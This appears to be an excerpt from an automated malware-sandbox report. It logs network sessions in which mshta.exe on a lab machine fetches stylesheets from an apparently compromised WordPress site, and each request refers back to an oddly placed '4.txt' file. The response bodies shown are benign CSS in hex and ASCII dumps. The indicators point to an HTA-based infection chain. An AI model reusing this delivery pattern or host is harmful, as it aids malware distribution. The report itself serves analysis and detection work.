                                                              Data Ascii: el .fa-clone{display:block!important;position:absolute;z-index:1;color:#fff;color:rgba(255,255,255,.9);font-style:normal!important;text-shadow:0 0 8px rgba(0,0,0,.8)}#sb_instagram .sbi_type_carousel .sbi_playbtn,#sb_instagram .sbi_type_video .
                                                              Aug 16, 2022 10:33:06.136643887 CEST386INData Raw: 6f 72 6d 3a 73 63 61 6c 65 28 30 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 30 29 7d 31 30 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 29 3b 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c
                                                              Data Ascii: orm:scale(0);transform:scale(0)}100%{-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1);opacity:0}}#sb_instagram .fa-spin,#sbi_lightbox .fa-spin{-webkit-animation:fa-spin 2s infinite linear;animation:fa-spin 2s infinite linea
                                                              Aug 16, 2022 10:33:06.136660099 CEST387INData Raw: 62 61 63 6b 67 72 6f 75 6e 64 20 2e 36 73 20 6c 69 6e 65 61 72 2c 63 6f 6c 6f 72 20 2e 36 73 20 6c 69 6e 65 61 72 3b 2d 6f 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 62 61 63 6b 67 72 6f 75 6e 64 20 2e 36 73 20 6c 69 6e 65 61 72 2c 63 6f 6c 6f 72 20 2e
                                                              Data Ascii: background .6s linear,color .6s linear;-o-transition:background .6s linear,color .6s linear;transition:background .6s linear,color .6s linear}.sbi_no_avatar:hover .sbi_header_hashtag_icon{display:block;opacity:1;-webkit-transition:background .
                                                              Aug 16, 2022 10:33:06.136677980 CEST389INData Raw: 20 2e 73 62 5f 69 6e 73 74 61 67 72 61 6d 5f 68 65 61 64 65 72 2e 73 62 69 5f 6d 65 64 69 75 6d 20 2e 73 62 69 5f 68 65 61 64 65 72 5f 74 65 78 74 20 2e 73 62 69 5f 62 69 6f 5f 69 6e 66 6f 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 34 70 78 21 69 6d 70
                                                              Data Ascii: .sb_instagram_header.sbi_medium .sbi_header_text .sbi_bio_info{margin-top:4px!important}#sb_instagram .sb_instagram_header.sbi_medium .sbi_header_text.sbi_no_bio h3{padding-top:20px!important}#sb_instagram .sb_instagram_header.sbi_large .sbi_
                                                              Aug 16, 2022 10:33:06.136693001 CEST390INData Raw: 64 65 6e 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 34 30 70 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 34 30 70 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 34 30 70 78 7d 23 73 62 5f 69 6e 73 74
                                                              Data Ascii: den;-moz-border-radius:40px;-webkit-border-radius:40px;border-radius:40px}#sb_instagram .sb_instagram_header .sbi_header_img img{float:left;margin:0!important;padding:0!important;border:none!important;-moz-border-radius:40px;-webkit-border-rad
                                                              Aug 16, 2022 10:33:06.136709929 CEST392INData Raw: 7a 2d 69 6e 64 65 78 3a 32 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 6f 70 61 63 69 74 79 20 2e 34 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 7d 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 20 2e 73 62 5f 69 6e 73 74 61 67 72 61 6d 5f 68 65 61 64 65 72 20 2e 73
                                                              Data Ascii: z-index:2;transition:opacity .4s ease-in-out}#sb_instagram .sb_instagram_header .sbi_fade_in{opacity:1;transition:opacity .2s ease-in-out}#sb_instagram .sb_instagram_header .sbi_header_img_hover{position:absolute;width:100%;top:0;bottom:0;left
                                                              Aug 16, 2022 10:33:06.136727095 CEST393INData Raw: 74 61 67 72 61 6d 20 23 73 62 69 5f 6c 6f 61 64 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 77 69 64 74 68 3a 31 30 30 25 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 20
                                                              Data Ascii: tagram #sbi_load{float:left;clear:both;width:100%;text-align:center}#sb_instagram #sbi_load .fa-spinner{display:none;position:absolute;top:50%;left:50%;margin:-8px 0 0 -7px;font-size:15px}#sb_instagram #sbi_load{opacity:1;transition:all .5s ea
                                                              Aug 16, 2022 10:33:06.347910881 CEST395INData Raw: 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 2e 32 35 29 7d 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 20 2e 73 62 69 5f 66 6f 6c 6c 6f 77 5f 62 74 6e 20 61 3a 66 6f 63 75 73 2c 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 20 2e 73 62 69 5f 66 6f 6c 6c 6f
                                                              Data Ascii: ba(255,255,255,.25)}#sb_instagram .sbi_follow_btn a:focus,#sb_instagram .sbi_follow_btn a:hover{outline:0;box-shadow:inset 0 0 10px 20px #359dff}#sb_instagram #sbi_load .sbi_load_btn.sbi_custom:hover,#sb_instagram .sbi_follow_btn.sbi_custom a:


                                                              Session IDSource IPSource PortDestination IPDestination PortProcess
                                                              7192.168.2.2249180187.45.240.6980C:\Windows\System32\mshta.exe
                                                              TimestampkBytes transferredDirectionData
                                                              Aug 16, 2022 10:33:06.173721075 CEST394OUTGET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1.24 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:06.412934065 CEST400INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:33:06 GMT
                                                              Server: Apache
                                                              Last-Modified: Tue, 02 Apr 2019 21:39:19 GMT
                                                              ETag: "a4fae3-1724-58592f82d6fc0"
                                                              Accept-Ranges: bytes
                                                              Content-Length: 5924
                                                              Connection: close
                                                              Content-Type: text/css
                                                              Data Raw: 2f 2a 20 0a 20 2a 20 09 43 6f 72 65 20 4f 77 6c 20 43 61 72 6f 75 73 65 6c 20 43 53 53 20 46 69 6c 65 0a 20 2a 09 76 31 2e 32 34 0a 20 2a 2f 0a 0a 2f 2a 20 63 6c 65 61 72 66 69 78 20 2a 2f 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 77 72 61 70 70 65 72 3a 61 66 74 65 72 20 7b 0a 09 63 6f 6e 74 65 6e 74 3a 20 22 2e 22 3b 0a 09 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 09 63 6c 65 61 72 3a 20 62 6f 74 68 3b 0a 09 76 69 73 69 62 69 6c 69 74 79 3a 20 68 69 64 64 65 6e 3b 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 30 3b 0a 09 68 65 69 67 68 74 3a 20 30 3b 0a 7d 0a 2f 2a 20 64 69 73 70 6c 61 79 20 6e 6f 6e 65 20 75 6e 74 69 6c 20 69 6e 69 74 20 2a 2f 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 7b 0a 09 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 2d 6d 73 2d 74 6f 75 63 68 2d 61 63 74 69 6f 6e 3a 20 70 61 6e 2d 79 3b 0a 7d 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 77 72 61 70 70 65 72 7b 0a 09 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 09 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 33 64 28 30 70 78 2c 20 30 70 78 2c 20 30 70 78 29 3b 0a 7d 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 77 72 61 70 70 65 72 2d 6f 75 74 65 72 7b 0a 09 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 7d 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 77 72 61 70 70 65 72 2d 6f 75 74 65 72 2e 61 75 74 6f 48 65 69 67 68 74 7b 0a 09 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 68 65 69 67 68 74 20 35 30 30 6d 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 0a 09 2d 6d 6f 7a 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 68 65 69 67 68 74 20 35 30 30 6d 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 0a 09 2d 6d 73 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 68 65 69 67 68 74 20 35 30 30 6d 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 0a 09 2d 6f 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 68 65 69 67 68 74 20 35 30 30 6d 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 0a 09 74 72 61 6e 73 69 74 69 6f 6e 3a 20 68 65 69 67 68 74 20 35 30 30 6d 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 0a 7d 0a 09 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 69 74 65 6d 7b 0a 09 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0a 7d 0a 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 20 2e 6f 77 6c 2d 70 61 67 65 2c 0a 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 20 2e 6f 77 6c 2d 62 75 74 74 6f 6e 73 20 64 69 76 7b 0a 09 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 7d 0a 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 20 7b 0a 09 2d 77 65 62 6b 69 74 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 0a 09 2d 6b 68 74 6d 6c 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 0a 09 2d 6d 6f 7a 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 0a 09 2d 6d 73 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 0a 09 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 0a 09 2d 77 65 62 6b 69 74 2d 74 61 70 2d 68 69 67 68 6c 69 67 68 74 2d 63 6f 6c 6f 72 3a 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 29 3b 0a 7d 0a
                                                              Data Ascii: /* * Core Owl Carousel CSS File *v1.24 *//* clearfix */.owl-carousel .owl-wrapper:after {content: ".";display: block;clear: both;visibility: hidden;line-height: 0;height: 0;}/* display none until init */.owl-carousel{display: none;position: relative;width: 100%;-ms-touch-action: pan-y;}.owl-carousel .owl-wrapper{display: none;position: relative;-webkit-transform: translate3d(0px, 0px, 0px);}.owl-carousel .owl-wrapper-outer{overflow: hidden;position: relative;width: 100%;}.owl-carousel .owl-wrapper-outer.autoHeight{-webkit-transition: height 500ms ease-in-out;-moz-transition: height 500ms ease-in-out;-ms-transition: height 500ms ease-in-out;-o-transition: height 500ms ease-in-out;transition: height 500ms ease-in-out;}.owl-carousel .owl-item{float: left;}.owl-controls .owl-page,.owl-controls .owl-buttons div{cursor: pointer;}.owl-controls {-webkit-user-select: none;-khtml-user-select: none;-moz-user-select: none;-ms-user-select: none;user-select: none;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);}
                                                              Aug 16, 2022 10:33:06.412974119 CEST401INData Raw: 0a 2f 2a 20 6d 6f 75 73 65 20 67 72 61 62 20 69 63 6f 6e 20 2a 2f 0a 2e 67 72 61 62 62 69 6e 67 20 7b 20 0a 20 20 20 20 63 75 72 73 6f 72 3a 75 72 6c 28 67 72 61 62 62 69 6e 67 2e 70 6e 67 29 20 38 20 38 2c 20 6d 6f 76 65 3b 0a 7d 0a 0a 2f 2a 20
                                                              Data Ascii: /* mouse grab icon */.grabbing { cursor:url(grabbing.png) 8 8, move;}/* fix */.owl-carousel .owl-wrapper,.owl-carousel .owl-item{-webkit-backface-visibility: display;-moz-backface-visibility: display;-ms-backface-visibil
                                                              Aug 16, 2022 10:33:06.413018942 CEST402INData Raw: 65 20 62 6f 74 68 3b 0a 20 20 2d 6d 6f 7a 2d 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 63 61 6c 65 54 6f 46 61 64 65 20 2e 37 73 20 65 61 73 65 20 62 6f 74 68 3b 0a 20 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 63 61 6c 65 54 6f 46 61 64 65 20 2e 37 73 20
                                                              Data Ascii: e both; -moz-animation: scaleToFade .7s ease both; animation: scaleToFade .7s ease both;}.owl-goDown-in { -webkit-animation: goDown .6s ease both; -moz-animation: goDown .6s ease both; animation: goDown .6s ease both;}/* scaleUp
                                                              Aug 16, 2022 10:33:06.413079023 CEST404INData Raw: 61 74 65 5a 28 2d 35 30 30 70 78 29 20 74 72 61 6e 73 6c 61 74 65 58 28 2d 32 30 30 25 29 3b 20 7d 0a 7d 0a 40 2d 6d 6f 7a 2d 6b 65 79 66 72 61 6d 65 73 20 62 61 63 6b 53 6c 69 64 65 4f 75 74 20 7b 0a 20 20 32 35 25 20 7b 20 6f 70 61 63 69 74 79
                                                              Data Ascii: ateZ(-500px) translateX(-200%); }}@-moz-keyframes backSlideOut { 25% { opacity: .5; -moz-transform: translateZ(-500px); } 75% { opacity: .5; -moz-transform: translateZ(-500px) translateX(-200%); } 100% { opacity: .5; -moz-transform: tr
                                                              Aug 16, 2022 10:33:06.413125038 CEST405INData Raw: 6f 20 7b 20 6f 70 61 63 69 74 79 3a 20 30 3b 20 2d 6d 6f 7a 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 2e 38 29 3b 20 7d 0a 7d 0a 40 6b 65 79 66 72 61 6d 65 73 20 73 63 61 6c 65 54 6f 46 61 64 65 20 7b 0a 20 20 74 6f 20 7b 20 6f 70 61
                                                              Data Ascii: o { opacity: 0; -moz-transform: scale(.8); }}@keyframes scaleToFade { to { opacity: 0; transform: scale(.8); }}@-webkit-keyframes goDown { from { -webkit-transform: translateY(-100%); }}@-moz-keyframes goDown { from { -moz-transfor


                                                              Session IDSource IPSource PortDestination IPDestination PortProcess
                                                              8192.168.2.2249181187.45.240.6980C:\Windows\System32\mshta.exe
                                                              TimestampkBytes transferredDirectionData
                                                              Aug 16, 2022 10:33:06.589154959 CEST406OUTGET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.theme.css?ver=1.24 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:06.829843998 CEST408INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:33:06 GMT
                                                              Server: Apache
                                                              Last-Modified: Tue, 02 Apr 2019 21:39:19 GMT
                                                              ETag: "a4faed-680-58592f82d6fc0"
                                                              Accept-Ranges: bytes
                                                              Content-Length: 1664
                                                              Connection: close
                                                              Content-Type: text/css
                                                              Data Raw: 2f 2a 0a 2a 20 09 4f 77 6c 20 43 61 72 6f 75 73 65 6c 20 4f 77 6c 20 44 65 6d 6f 20 54 68 65 6d 65 20 0a 2a 09 76 31 2e 32 34 0a 2a 2f 0a 0a 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 7b 0a 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 31 30 70 78 3b 0a 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 0a 2f 2a 20 53 74 79 6c 69 6e 67 20 4e 65 78 74 20 61 6e 64 20 50 72 65 76 20 62 75 74 74 6f 6e 73 20 2a 2f 0a 0a 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 20 2e 6f 77 6c 2d 62 75 74 74 6f 6e 73 20 64 69 76 7b 0a 09 63 6f 6c 6f 72 3a 20 23 46 46 46 3b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 09 7a 6f 6f 6d 3a 20 31 3b 0a 09 2a 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 2f 2a 49 45 37 20 6c 69 66 65 2d 73 61 76 65 72 20 2a 2f 0a 09 6d 61 72 67 69 6e 3a 20 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 33 70 78 20 31 30 70 78 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 2d 77 65 62 6b 69 74 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 33 30 70 78 3b 0a 09 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 33 30 70 78 3b 0a 09 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 33 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 38 36 39 37 39 31 3b 0a 09 66 69 6c 74 65 72 3a 20 41 6c 70 68 61 28 4f 70 61 63 69 74 79 3d 35 30 29 3b 2f 2a 49 45 37 20 66 69 78 2a 2f 0a 09 6f 70 61 63 69 74 79 3a 20 30 2e 35 3b 0a 7d 0a 2f 2a 20 43 6c 69 63 6b 61 62 6c 65 20 63 6c 61 73 73 20 66 69 78 20 70 72 6f 62 6c 65 6d 20 77 69 74 68 20 68 6f 76 65 72 20 6f 6e 20 74 6f 75 63 68 20 64 65 76 69 63 65 73 20 2a 2f 0a 2f 2a 20 55 73 65 20 69 74 20 66 6f 72 20 6e 6f 6e 2d 74 6f 75 63 68 20 68 6f 76 65 72 20 61 63 74 69 6f 6e 20 2a 2f 0a 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 2e 63 6c 69 63 6b 61 62 6c 65 20 2e 6f 77 6c 2d 62 75 74 74 6f 6e 73 20 64 69 76 3a 68 6f 76 65 72 7b 0a 09 66 69 6c 74 65 72 3a 20 41 6c 70 68 61 28 4f 70 61 63 69 74 79 3d 31 30 30 29 3b 2f 2a 49 45 37 20 66 69 78 2a 2f 0a 09 6f 70 61 63 69 74 79 3a 20 31 3b 0a 09 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 7d 0a 0a 2f 2a 20 53 74 79 6c 69 6e 67 20 50 61 67 69 6e 61 74 69 6f 6e 2a 2f 0a 0a 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 20 2e 6f 77 6c 2d 70 61 67 65 7b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 09 7a 6f 6f 6d 3a 20 31 3b 0a 09 2a 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 2f 2a 49 45 37 20 6c 69 66 65 2d 73 61 76 65 72 20 2a 2f 0a 7d 0a 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 20 2e 6f 77 6c 2d 70 61 67 65 20 73 70 61 6e 7b 0a 09 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 09 77 69 64 74 68 3a 20 31 32 70 78 3b 0a 09 68 65 69 67 68 74 3a 20 31 32 70 78 3b 0a 09 6d 61 72 67 69 6e 3a 20 35 70 78 20 37 70 78 3b 0a 09 66 69 6c 74 65 72 3a 20 41 6c 70 68 61 28 4f 70 61 63 69 74 79 3d 35 30 29 3b 2f 2a 49 45 37 20 66 69 78 2a 2f 0a 09 6f 70 61 63 69 74 79 3a 20 30 2e 35 3b 0a 09 2d 77 65 62 6b 69 74 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 32 30 70 78 3b 0a 09 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 32 30 70 78 3b 0a 09 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20
                                                              Data Ascii: /** Owl Carousel Owl Demo Theme *v1.24*/.owl-theme .owl-controls{margin-top: 10px;text-align: center;}/* Styling Next and Prev buttons */.owl-theme .owl-controls .owl-buttons div{color: #FFF;display: inline-block;zoom: 1;*display: inline;/*IE7 life-saver */margin: 5px;padding: 3px 10px;font-size: 12px;-webkit-border-radius: 30px;-moz-border-radius: 30px;border-radius: 30px;background: #869791;filter: Alpha(Opacity=50);/*IE7 fix*/opacity: 0.5;}/* Clickable class fix problem with hover on touch devices *//* Use it for non-touch hover action */.owl-theme .owl-controls.clickable .owl-buttons div:hover{filter: Alpha(Opacity=100);/*IE7 fix*/opacity: 1;text-decoration: none;}/* Styling Pagination*/.owl-theme .owl-controls .owl-page{display: inline-block;zoom: 1;*display: inline;/*IE7 life-saver */}.owl-theme .owl-controls .owl-page span{display: block;width: 12px;height: 12px;margin: 5px 7px;filter: Alpha(Opacity=50);/*IE7 fix*/opacity: 0.5;-webkit-border-radius: 20px;-moz-border-radius: 20px;border-radius:
                                                              Aug 16, 2022 10:33:06.829948902 CEST408INData Raw: 32 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 38 36 39 37 39 31 3b 0a 7d 0a 0a 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 20 2e 6f 77 6c 2d 70 61 67 65 2e 61 63 74 69 76 65 20 73 70 61 6e 2c 0a 2e 6f 77
                                                              Data Ascii: 20px;background: #869791;}.owl-theme .owl-controls .owl-page.active span,.owl-theme .owl-controls.clickable .owl-page:hover span{filter: Alpha(Opacity=100);/*IE7 fix*/opacity: 1;}/* If PaginationNumbers is true */.owl-theme .owl


                                                              Session IDSource IPSource PortDestination IPDestination PortProcess
                                                              9192.168.2.2249182187.45.240.6980C:\Windows\System32\mshta.exe
                                                              TimestampkBytes transferredDirectionData
                                                              Aug 16, 2022 10:33:06.657192945 CEST406OUTGET /wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:06.898659945 CEST409INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:33:06 GMT
                                                              Server: Apache
                                                              Last-Modified: Tue, 02 Apr 2019 21:35:52 GMT
                                                              ETag: "a4f99b-7abe-58592ebd6de00"
                                                              Accept-Ranges: bytes
                                                              Content-Length: 31422
                                                              Connection: close
                                                              Content-Type: text/css
                                                              Aug 16, 2022 10:33:06.898762941 CEST410INData Raw: 2f 2a 20 23 53 68 6f 72 74 63 6f 64 65 73 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 20 2a 2f 0a 2f 2a 20 52 65 63 65 6e 74 20 50 6f 73
                                                              Data Ascii: /* #Shortcodes================================================== *//* Recent Posts Shortcodes---------------------------------------- */.recent-posts { overflow: hidden; margin: 0 0 0 -20px !important; padding: 0; border: none; l
                                                              Aug 16, 2022 10:33:06.898789883 CEST412INData Raw: 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 20 30 20 32 30 70 78 20 30 3b 0a 7d 0a 2f 2a 20 50 6f 73 74 73 20 47 72 69 64 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d
                                                              Data Ascii: ; padding: 0 0 20px 0;}/* Posts Grid-----------------------------------------*/.posts-grid { margin: 0 0 0 -5%; padding: 0; list-style: none; *zoom: 1;}.posts-grid:before,.posts-grid:after { display: table; content: "";
                                                              Aug 16, 2022 10:33:06.898951054 CEST413INData Raw: 20 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 0a 7d 0a 2f 2a 20 4d 69 6e 69 20 50 6f 73 74 73 20 4c 69 73 74 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2a 2f 0a 2e
                                                              Data Ascii: float: right;}/* Mini Posts List-----------------------------------------*/.mini-posts-list { margin: 0 0 25px; padding: 0; list-style: none;}.mini-post-holder { padding: 15px 0 0; margin: 0 0 9px; border-top: 1px solid #dd
                                                              Aug 16, 2022 10:33:06.898977041 CEST415INData Raw: 20 30 2c 20 30 2e 30 35 29 3b 0a 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 69 6e 73 65 74 20 30 20 31 70 78 20 31 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 30 35 29 3b 0a 7d 0a 2e 73 65 72 76 69 63 65 2d 62 6f 78 20 2e 69 63 6f 6e
                                                              Data Ascii: 0, 0.05); box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05);}.service-box .icon { float: left; margin: 0 10px 10px 0;}.service-box h2 { overflow: hidden; margin: 0;}.service-box h5 { overflow: hidden; margin: 0 0 25px;}.se
                                                              Aug 16, 2022 10:33:06.899004936 CEST416INData Raw: 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 7d 0a 2e 70 6f 73 74 2d 63 79 63 6c 65 5f 69 74 65 6d
                                                              Data Ascii: splay: none; overflow: hidden; width: 100%; height: 100%;}.post-cycle_item:first-child { display: block;}.post-cycle_item .feature-thumbnail { float: none; margin: 0 0 15px 0;}.post-cycle_item .feature-thumbnail img { float
                                                              Aug 16, 2022 10:33:06.899030924 CEST417INData Raw: 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 30 2e 32 35 73 3b 0a 20 20 2d 6d 6f 7a 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 30 2e 32 35 73 3b 0a 20 20 2d 6f 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 30 2e 32 35 73 3b 0a 20 20 74 72 61 6e
                                                              Data Ascii: webkit-transition: 0.25s; -moz-transition: 0.25s; -o-transition: 0.25s; transition: 0.25s;}.banner-wrap .featured-thumbnail a:hover { border-color: #dddddd;}.banner-wrap h5 { margin: 0 0 8px; color: #000; text-transform: capi
                                                              Aug 16, 2022 10:33:06.899063110 CEST419INData Raw: 65 6d 20 62 6c 6f 63 6b 71 75 6f 74 65 20 3e 20 61 20 7b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 20 20 7a 2d 69 6e 64 65 78 3a 20 32 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 34 65 34 65 34 65 3b 0a 20 20 74 65 78 74 2d 64
